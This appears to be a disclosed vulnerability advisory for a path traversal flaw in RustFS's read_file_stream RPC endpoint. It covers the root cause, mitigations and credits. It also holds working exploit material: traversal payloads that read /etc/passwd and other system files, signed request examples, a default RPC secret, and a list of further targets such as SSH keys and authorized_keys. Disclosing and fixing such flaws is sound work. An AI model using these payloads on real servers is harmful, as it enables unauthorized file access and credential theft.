Lack of data validation - Path Traversal In rustfs

Description

RustFS Path Traversal Vulnerability

RustFS Path Traversal Vulnerability

Vulnerability Details

    CVE ID:

    Severity: Critical (CVSS estimated 9.9)

    Impact: Arbitrary File Read/Write

    Component: /rustfs/rpc/read_file_stream endpoint

    Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

    Canonicalization

    Path boundary validation

    Protection against ../ sequences

    Protection against absolute paths

Proof of Concept

Test Environment

    Target: RustFS v0.0.5 (Docker container)

    Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream

    RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)

    Disk ID: /data/rustfs0

    Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration


2. Read /etc/hosts

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure


3. Read /etc/hostname

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure


Technical Analysis

Data Flow

1. HTTP Request
2. RPC Signature Verification (verify_rpc_signature)
3. Find Disk (find_local_disk)
4. Read File Stream (disk.read_file_stream)
   ↓...

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

    No Canonicalization: Code doesn't use canonicalize() before validation

    No Boundary Check: No verification that final path is within volume_dir

    PathBuf::join() Behavior: Automatically resolves ../ sequences

    Length-Only Validation: check_path_length() only checks string length

Special Considerations

    File Size Constraint: The length parameter must exactly match file size

      Code validates: file.len() >= offset + length

      Otherwise returns DiskError::FileCorrupt

    Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)

    Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP

Impact Assessment

Confidentiality Impact: HIGH

    ✅ Read arbitrary files (demonstrated)

    ✅ Read system configuration files (/etc/passwd, /etc/hosts)

    ⚠️ Potential to read:

      SSH keys (/root/.ssh/id_rsa)

      Application secrets

      RustFS configuration files

      Environment variables from /proc

Integrity Impact: HIGH

    ⚠️ Similar vulnerability exists in put_file_stream (not tested)

    ⚠️ Arbitrary file write likely possible

    ⚠️ Could write to:

      Cron jobs

      authorized_keys

      System binaries (if permissions allow)

Availability Impact: MEDIUM

    ⚠️ walk_dir endpoint could enumerate entire filesystem

    ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

    Network Access: Ability to reach RustFS RPC endpoints

    RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY

      Default: "rustfs-default-secret"

      Production: From environment variable or config

    Disk/Volume Knowledge: Valid disk ID and volume name

    File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

    Without Secret: Impossible (signature verification)

    With Secret: Trivial (automated script)

    With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

    Path Canonicalization

async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;

    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;
...

    Path Component Validation

// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}

    Use path-clean Crate

use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}

Additional Security Measures

    Audit Logging: Log all RPC file operations with full paths

    Rate Limiting: Prevent DoS via repeated RPC calls

    Secret Rotation: Ensure unique RPC secrets per deployment

    Network Segmentation: Restrict RPC endpoint access

    Security Testing: Add path traversal tests to test suite

Long-term Improvements

    Chroot Jail: Isolate RPC operations in chroot environment

    Least Privilege: Run RustFS with minimal file system permissions

    Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage

# Ensure RustFS is running
docker compose ps

# Run exploit
python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions